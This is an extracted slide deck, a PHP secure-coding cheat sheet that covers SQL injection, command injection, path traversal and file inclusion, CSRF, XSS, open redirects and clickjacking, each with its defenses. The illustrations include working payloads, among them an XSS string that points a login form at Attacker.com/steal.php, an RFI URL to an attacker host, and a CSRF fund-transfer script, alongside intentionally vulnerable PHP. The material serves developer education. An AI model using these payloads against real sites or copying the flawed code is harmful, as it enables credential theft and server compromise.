Академический Документы
Профессиональный Документы
Культура Документы
Security on Fire;--
PHP Developers Cheat Sheet Version
Attention please…
Slide 2 of 30.000
DISCLAIMER
The fact that the application is SECURED because it is behind a Firewall or a VPN is a myth.
Why?!!
These kind of vulnerabilities could be exploited separately or used with help of another ones
to create a high impact.
Nothing is totally secured but there is the Most Secured and Hardened.
If your code isn’t secure enough, the business will be impacted including your salary of
course.
Most common Web App Vulnerabilities
1. Injections (SQL Injection, OS Command Injection, etc…)
2. Broken Authentication and Session Management
3. File Path Traversal - Remote / Local File Inclusion AKA Directory Traversal LFI / LFI
4. Cross Site Request Forgery AKA CSRF
5. Brute Force Attacks AKA Dictionary Attack
6. Sensitive Data Exposure AKA Information Disclosure
7. Cross Site Scripting AKA XSS (Reflected, Stored, DOM Based and Self)
8. Invalidated Redirects and Forwards AKA Open Redirections
9. Click jacking AKA UI Redressing
10. Using Components with Known Vulnerabilities (Ex. Libraries, Plugins and Themes)
11. Shit in the mix.
1. Injections
1. Injections
Introduction:
Injection flaws occur when untrusted input/data is sent to an interpreter as
part of a command or query. The attacker’s manipulated supplied data
can trick the interpreter into executing unintended commands or
accessing data without proper authorization.
Types:
1. SQL Injections
2. OS Code / Command Injections
1. Injections :: SQL Injection aka SQLi
Example:
Let’s imagine that we have a vulnerable WebApp with the following SQL Query String:
Attack:
In this case, the attacker modifies the ‘id’ parameter value in his browser by sending this value: ' or '1'='1
http://MyAwesomeApp.com/accountView?id=' or '1'='1
Result:
This changes the meaning of the query to return all the records from the accounts table. More dangerous
attacks could modify data or even invoke stored procedures.
In the worse cases, Data could be altered, deleted, modified or even dumped.
1. Injections :: SQL Injection :: Live Examples
1. General Defenses:
-Think like attackers U/AX (User/Attackers Experience)
-Avoid spaghetti queries
-Don’t trust user/non user supplied inputs
-Don’t store passwords in a plain text in database (Salt & Hash’em all)
-Don’t assign DBA or admin type access rights to your application accounts
-Don’t run the DBMS as root or system
2. Primary Defenses:
-Use of Prepared Statements (Parameterized Queries)
-Use of Stored Procedures
-Escaping all user supplied Input, whitelisting input validation
3. Additional Defenses:
-Enforce Least Privilege (Exact privileges for each responsible account)
1. Injections :: SQL Injection aka SQLi
Example#1: Prepared Statements (Parameterized Queries)
<?php
// Create connection
$conn = new mysqli($servername, $username, $password, $dbname);
// Check connection
if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); }
Note: If you want to insert any data from external sources (like user input), it is very important
that the data is sanitized and validated.
1. Injections :: SQL Injection aka SQLi
Example#2: Stored Procedures
<?php
//Our db connection
$mysqli = new mysqli("example.com", "user", "password", "database");
//Create a table and populate some values for an example
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2), (3)"));
//Creating the stored procedure
$mysqli->query('CREATE PROCEDURE p() READS SQL DATA BEGIN SELECT id FROM test; SELECT id + 1 FROM test; END;');
//Calling the stored procedure
$mysqli->multi_query("CALL p()"));
//Fetching the results from the stored procedures
do {
if ($res = $mysqli->store_result()) {
printf("---\n");
var_dump($res->fetch_all());
$res->free();
} else {
if ($mysqli->errno) {
echo "Store failed: (" . $mysqli->errno . ") " . $mysqli->error;} }
} while ($mysqli->more_results() && $mysqli->next_result());
?>
Note: If you want to accept any data from external sources (like user input), it is very important
that the data is sanitized and validated.
1. Injections :: SQL Injection aka SQLi
Example#3: Escaping all User Supplied Input and Perform White List Input Validation
-Escaping is depends on the encoding type your DBMS you’re using, so finding the proper escaping
technique will help to prevent such attacks.
-Whitelisting the user inputs is a good way to limit sql injection attacks but not the best one.
-Use the magic of mysql_real_escape_string() to filter quotes and other inappropriate chars.
-Make use of Regular Expressions and know exactly what do you want from user to input and to be passed to
your database query.
(https://www.owasp.org/index.php/OWASP_Validation_Regex_Repository)
-[Additional] Make use of OWASP Enterprise Security API (ESAPI) Library, It’s a free, Open Source library to
control and mitigate such attacks as SQL Injections and Cross Site Scripting.
(https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API)
1. Injections :: OS Code/Command Injections
AKA (Remote Code Execution)
Introduction
In this attack, the attacker-supplied operating system commands are usually executed
with the privileges of the vulnerable application.
Command injection attacks are possible largely due to insufficient input validation.
1. Injections :: OS Code/Command Injections
AKA (Remote Code Execution)
Command Injection VS Code Injection
-The Attacker passes internal -The Attacker Injects his own code
system commands to be executed and the application execute it
<?php
print("Please specify the name of the file to delete");
print("<p>");
$file=$_GET['filename'];
system("rm $file");
?>
And as usual we have a nice guy sent this request to your piece of code shit :
http://www.MyBeautifulApp.com/delete.php?filename=useless_file.txt;id
HTTP/1.0 200 OK
Content-Type: text/html
Server: Apache
Why?
rm useless_file.txt;id
With no proper input validation and thanks to the presence of the semicolon char which is considered
as a command splitter, The attacker now can pass any system commands to be executed by your web
app.
1. Injections :: OS Code/Command Injections
AKA (Remote Code Execution)
Example #2 - Imagine that we have this code:
<?php
$myvar = ‘myvalue';
$x = $_GET['user'];
eval('$myvar = ' . $x . ';');
?>
And our guy came again and sent this request to your piece of code shit :
http://www.MyBeautifulApp.com/users.php?user=1; system(‘whoami')
HTTP/1.0 200 OK
Content-Type: text/html
Server: Apache
nt authority\system
1. Injections :: OS Code/Command Injections
AKA (Remote Code Execution)
Why?
eval('$myvar = ' . system(whoami); . ';');
The same reason, because there is no proper input validation the attacker now can inject a piece of
code to your application and it will do the rest.
2. Broken Authentication and Session Management
2. Broken Authentication and Session Management
Introduction:
Authentication and session management includes all aspects of handling user
authentication and managing active sessions.
Authentication and Session Management is all about how to protect and keep
the user’s session secure against stealing and manipulating, Tracking every
request and double checking that this request is coming exactly from this “user”
to access an exact specific feature or resource that he has access to.
2. Broken Authentication and Session Management
Examples:
-Authenticated user do a changes to any part of the system in behalf of another user
identity. “logs will show that someone else did the change”.
-Authenticated user can change information/details of other users (not his own).
-Session could be stolen and reused due to another vulnerabilities in the system (via
Cross Site Scripting).
-Weak tokens, session fixation and cryptography poses a real threat to authentication
and session management
2. Broken Authentication and Session Management
How to Avoid/Protect:
-Password Strength: Minimum length, Complexity, Expiration time.
-Password Use: Limit the login attempts, Don’t indicate whether the username or the password
that was wrong, Users must be emailed with the last successful/failed logins.
-Password Change Controls: Always ask users to introduce their old passwords before every
password change and immediately revoke their current session even if it is a valid one.
-Password Storage: All passwords must be stored hashed or encrypted, Don’t insert a hard coded
password in the source code. Hashed is the best way because its not reversible.
-Account Access lists: Users shouldn’t have access to other users names, ids or any other sensitive
information regarding the other users.
2. Broken Authentication and Session Management
How to Avoid/Protect:
-Browser Caching: Don’t send any part of user credentials, identity or session details as a part of
POST or GET Requests.
- Session IDs Protection / Credentials in Transit: Encrypt the entire login transaction and user’s
session using something like SSL to not to be intercepted.
-Session IDs: Should be long, complicated, random numbers that cannot be easily guessed.
-Session IDs: Should be changed frequently during a session to reduce how long a session ID is
valid.
-Session IDs: Must be changed when switching to SSL, authenticating, or other major transitions.
Picture sources:
http://anywater.com/gallery/d/588-2/SergBugHunter.JPG
http://www.controlyourcash.com/wp-content/uploads/2014/01/59561912-rich-people.jpg
Finally!
etc...
3. File Path Traversal – LFI – RFI
3. File Path Traversal – LFI – RFI
Introduction:
A path traversal attack (also known as directory traversal) aims to access files
and directories that are stored outside the web root folder. By manipulating
variables that reference files with “dot-dot-slash (../)” sequences and its
variations or by using absolute file paths, it may be possible to access arbitrary
files and directories stored on file system including application source code or
configuration and critical system files. It should be noted that access to files is
limited by system operational access control.
Related Attacks:
Surprise..Surprise !
HTTP/1.0 200 OK
Content-Type: text/html
Server: Apache
root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh
daemon:*:1:1::/tmp:
testlab:f8fk3j1OIf31.:182:100:Developer:/home/users/testlab/:/bin/csh
3. File Path Traversal – LFI – RFI
Why?
-The developer sent the repeated dot dot slash “../” characters directly to the include function this
caused include() to traverse to the root directory.
-By specifying the resource, the attacker gains a capability that would not otherwise be permitted.
3. File Path Traversal – LFI – RFI
LFI
http://testsite.com/get.php?f=/var/www/html/get.php
http://testsite.com/get.php?f=/../../../../etc/passwd
RFI
http://testsite.com/get.php?f=http://www.AttackerHost.com/evil.php
3. File Path Traversal – LFI – RFI
Wrong Defenses “but you’re still thinking”:
#1 – Using file_exists()
-Using the file_exists() is a way to limit the attacker from being able to inject a remote file but including a local file is still
a way to break through.
http://localhost/index.php?page=/etc/passwd >>> bingo
How to Avoid/Protect:
-Remember to have the AX.
-Trust no one.
-Filter and validate all the things.
-Assume that all the inputs are malicious.
-Know exactly what input you need and reject what you don’t.
-Black/Whitelisting will be your hero here by creating a mapping from a set of fixed input values to the
actual filenames For example, ID 1 mapping to “technology.php” and ID 2 mapping to ” economy.php ” etc.
and reject all other inputs.
<?php
if($_GET[‘id'] == ‘1') {
include('technology.php');
}
?>
Guess what? FPT, LFI and RFI dies forever…..
Introduction:
Cross Site Request Forgery is a type of web application vulnerabilities where it always affects the web
forms enforcing the authenticated victim to execute unwanted actions (Transferring funds, Change
the account email address), This kind of attacks can be via (POST, GET) or via XHR modern app
request types (PUT & DELETE)
-XSRF
-Sea Surf
-Session Riding
-Hostile Linking
-One-Click Attack
4. Cross Site Request Forgery AKA CSRF
Example #1 “POST”:
1. Imagine that you have a bank website with a web form included, then the attacker edited the form to look
like this one:
2. The attacker took ONLY the web form, Crafted an HTML page and included this piece of code:
<body onload="document.forms[0].submit()">
3. Hosted it on his own webserver, and finally sent the link to the victim.
Example #2 “GET”:
OR
Surprise..Surprise !
Alejandra (the victim) sent 10,000 dollars from her account to the Attacker’s bank
account. Of course she don’t want to do that but ACTUALLY she did and in a legal
way.
-The victim was tricked and clicked the link sent by the attacker. “social engineering”
-No protection or any tokens send along with the request. “something secret the attacker can’t
know or guess”
-The absence of additional mechanism to protect the transfer process. “SMS confirmation code
or two factor authentication”
4. Cross Site Request Forgery AKA CSRF
<script>
function doIT() {
var x = new XMLHttpRequest();
x.open("PUT","http://bank.com/transfer.php",true);
x.setRequestHeader("Content-Type", "application/json");
x.send(JSON.stringify({"acct_from":“Alejandra", "acct_to":"Attacker", "amount":10000})); }
</script>
<body onload="doIT()">
Why?
4. Cross Site Request Forgery AKA CSRF
The good news is that attack will not work at the most cases, Modern browsers nowadays have a new
restrictions and protection mechanisms.
- Unless the target force the browser to ignore it by opening it up for everyone by using CORS or
Cross Origin Resource Sharing by applying this server-side header:
Access-Control-Allow-Origin: *
4. Cross Site Request Forgery AKA CSRF
Introduction:
Brute force attacks in a simple way, Its all about flooding the service with the requests regarding
guessing the user credentials via prepared dictionary or randomly generated strings, claiming a
service by guessing confirmation codes, Coupons “ecommerce” or Harvesting customer data etc..
Valid Code
found
among the
sent requests
Figure (1) Burp suite Intruder attacking United.com redemption code Example
5. Brute Force Attacks AKA Dictionary Attack
-Implement a proper Account Lockout Policy. (account lockout after specific failure login
attempts)
-Temporary accounts lockout for slowing down the attack. (20 minutes)
-Implement an intelligent mechanism to do the account lockouts and in the same time allow the
accounts to be opened for the legitimate users. (trusted devices auto-sense)
Introduction:
Revealing system data or debugging information helps the attacker learn about the system and form a plan of
attack. An information leak occurs when system data, debugging information and logging function are being
displayed to the user/the attacker.
- Gives the attacker enough knowledge about the target (OS, WebApp type, firewall, etc..)
Example:
Warning: mysql_pconnect():
Access denied for user: 'root@localhost' (Using password: N1nj4) in /usr/local/www/includes/database.inc on line 4
6. Sensitive Data Exposure AKA Information Disclosure
Example:
A vulnerable code:
<?php
echo file_get_contents(getcwd().$_GET['page']);
?>
The attack:
http://site.com/index.php?page=../../../../../../../home/example/public_html/includes/config.php
The result:
The attacker has successfully red the config file
<?php
//Hidden configuration file containing database credentials.
$hostname = 'localhost';
$username = 'root';
$password = ‘toor';
$database = 'example_site';
$connector = mysql_connect($hostname, $username, $password);
mysql_select_db($database, $connector);
?>
6. Sensitive Data Exposure AKA Information Disclosure
-Direct Access to files (access to files that need another libraries to be loaded first)
http://site.com/.../tiny_mce/plugins/spellchecker/classes/PSpellShell.php
<br />
<b>Fatal error</b>: Class 'SpellChecker' not found in
<b>/home/victim/public_html/mambo/mambots/editors/mostlyce/jscripts/tiny_mce/plugins/spellchecker/classes/PSpellShell.p
hp</b> on line <b>9</b><br />
6. Sensitive Data Exposure AKA Information Disclosure
Prevention/Mitigation:
-Good mechanisms and flows preventing this problem at the design phase is the best way to mitigate the
issue.
-Alter all your exceptions and error messages to something the user can understand. NOT THE ATTCKER
-You can test your app with this tool “Inspathx” - https://code.google.com/p/inspathx/
-Do a code review for all your .php files, plugins and themes (CMS, Frameworks) and fix all the errors,
exceptions throwing.
6. Sensitive Data Exposure AKA Information Disclosure
Hostname: uaatsu
Programming Language: PHP
CMS/Framework: WordPress
/releases: means there might be another releases so attackers can dig for more releases
Figure (1) United Airlines “Airtime service” Full Path disclosure
7. Cross Site Scripting AKA XSS
Introduction:
Cross Site Scripting is a client-side type of attacks/injections where the attacker is able to inject
a JavaScript piece of code inside the trusted websites, This piece of code is going to be
executed on the victim’s client side level and the browser always trust in the injected script
because it always came from a trusted source.
3. Manipulating the DOM behavior. “change the form action to steal data”
4. Injecting a non existed elements in the vulnerable page. “Please insert your CVV here”
8. In some cases the attack can be leveraged to have a higher impact if merged with other
vulnerabilities.
7. Cross Site Scripting AKA XSS
-Due to the improper input filtration the payload is going to be injected in the vulnerable page.
-The double quotes + the greater than chars "> are going to do the magic here.
The payload
going to stored DB
in the database
WebApp
Sending a The victim is
payload as a requesting the
value to the vulnerable
vuln App. page
Example:
https://app.box.com/login?redirect_url="><script>document.getElementById('login_form').setAttribute('actio
n','http://Attacker.com/steal.php')</script>
Vulnerable Parameter:
redirect_url
Payload:
"><script>document.getElementById('login_form').setAttribute('action','http://Attacker.com/steal.php')</scri
pt>
Payload Explanation:
This payload presented here is the best way to exploit a login page which is vulnerable to XSS attacks,
Simply it alter the action attribute of the login form and send the victim credentials to the attacker via a php
script.
7. Cross Site Scripting AKA XSS
http://localhost/dom.html?default=<script>alert(9)</script>
7. Cross Site Scripting AKA XSS
What if we checked the source code of the page?
It’s not that important but sometimes it’s game changer HOW ?
Remember remember, Merging more than one attack together = higher impact.
#1
Attacker will be able to forge a login request, Inject a special DOM Objects that was not existed
before, Like asking the victim to re-enter his own credit card details including the CVV number
which in fact is not presented by the website itself, This data is going to be sent to the attacker
BTW.
#2
If the website is vulnerable to CSRF attack causing this payload to be stored in a specific page,
Self XSS will play a vital role here, CSRF to inject the payload, Directing the user to the
vulnerable page, Boom!!.
7. Cross Site Scripting AKA XSS
How to avoid/mitigate?
So easy:
Introduction:
Open redirections or invalidated forwards or invalidated redirects is a kind of typical web application vulnerabilities
occurs when the application fails to control the redirection to an external website/url.
<?php
session_start();
$allowed_host = 'secured.com';
$host = parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST);
if(substr($host, 0 - strlen($allowed_host)) == $allowed_host)
{ echo 'You shall pass'; }
else
{ echo 'You shall not pass'; }
?>
So the open redirection will be responsible for sending the referer along with the get/post request results in
bypassing the referer check clarified in above example.
8. Invalidated Redirects AKA Open Redirections
Example #1:
<?php
$redir_url = $_GET['url'];
print "<html><head>\n<title>Redirecting ...</title>\n";
print "<meta http-equiv=\"refresh\" content=\"0; URL=$redir_url\">";
print "</head>\n";
print "<body><a href=\"$redir_url\">if you're not being redirected shortly, Click Here...</a></body>\n";
print "</html>";
?>
8. Invalidated Redirects AKA Open Redirections
Attack url:
http://localhost/redir.php?url="><img src=x onerror=alert(1)>
The result:
8. Invalidated Redirects AKA Open Redirections
Example #2:
<?php
$redir_url = htmlentities($_GET['url'], ENT_QUOTES, "UTF-8");
print "<html><head>\n<title>Redirecting ...</title>\n";
print "<meta http-equiv=\"refresh\" content=\"0; URL=$redir_url\">";
print "</head>\n";
print "<body><a href=\"$redir_url\">if you're not being redirected shortly, Click Here...</a></body>\n";
print "</html>";
?>
8. Invalidated Redirects AKA Open Redirections
The result:
8. Invalidated Redirects AKA Open Redirections
-Don’t allow the url as user input for the destination. (Unless you can control it’s validity “Linkshim” )
-Force all redirects to first go through a page notifying users that they are going off of your site and redirect him with
a confirmation.
9. Click jacking AKA UI Redressing
Introduction
This type of attacks occurs when an attacker uses a transparent layers to trick users into clicking on a
button or link on another page when they were not intending to click on it. So the attacker is fooling the
victim by visiting the same page but in a new dressing.
9. Click jacking AKA UI Redressing
<script type="text/javascript">
//Disable frame hijacking
//Check if our website is the top one not the child
if (top != self)
//if the website is not the top one, change the browser location to our main url
top.location.href = location.href;
</script>
9. Click jacking AKA UI Redressing
<html><body>
<iframe id="clickjacking" src=“https://www.VulnerableDomain.com" width="700" height="500" sandbox="allow-forms">
</iframe></body>
</html>
<IfModule mod_headers.c>
# Apache Server Clickjacking Mitigation
# SAMEORIGIN or DENY you can use any of them according to your usage/usability
Header always append X-Frame-Options SAMEORIGIN
</IfModule>
10. Using Components with Known Vulnerabilities
Introduction
This kind of bugs is so clear, You will be hardly vulnerable if you’re using any components with a known vulnerabilities!
Components like “Frameworks”, “Libraries”, “CMS”, “Plugins”, “Themes”, etc…
- MITRE > Provides and identify all the known vulnerabilities with CVE numbers (Common Vulnerabilities and Exposures).
- NIST > National Institute of Standards and Technology.
- CVE > Common Vulnerabilities and Exposures.
- CVSS > Common Vulnerability Scoring System.
- NVD > National Vulnerability Database.
10. Using Components with Known Vulnerabilities
-Identify all components and the versions you are using, including all dependencies. (e.g., the
plugins versions).
-Monitor the security of these components in previous public mentioned databases, project
mailing lists, and security mailing lists, and keep them up to date.
-Disable unused functionality and/ or secure weak or vulnerable aspects of the component.
Shit in the MIX
Combo #1 : From XSS, CSRF to RCE
Company Name:
X e-Commerce Company
Figure (0) - BeEF with a hooked browser reverse connection via Stored XSS
References:
http://www.sitepoint.com/stored-procedures-mysql-php/
https://www.owasp.org/index.php/Input_Validation_Cheat_Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
http://www.acros.si/papers/session_fixation.pdf
http://fishbowl.pastiche.org/archives/docs/PasswordRecovery.pdf
http://hakipedia.com/index.php/Poison_Null_Byte
https://www.youtube.com/watch?v=pYCzuq7cptI
https://www.youtube.com/watch?v=tvx-le_xCW0
https://www.youtube.com/watch?v=vTYUM3J8I_k
https://developer.mozilla.org/en-US/docs/Web/HTTP/X-Frame-Options
https://www.owasp.org/index.php/ESAPI
http://www.w3schools.com/tags/att_iframe_sandbox.asp
http://www.youtube.com/watch?v=QMquAVIV8Ys
http://beefproject.com/
https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API
https://www.owasp.org/index.php/OWASP_Validation_Regex_Repository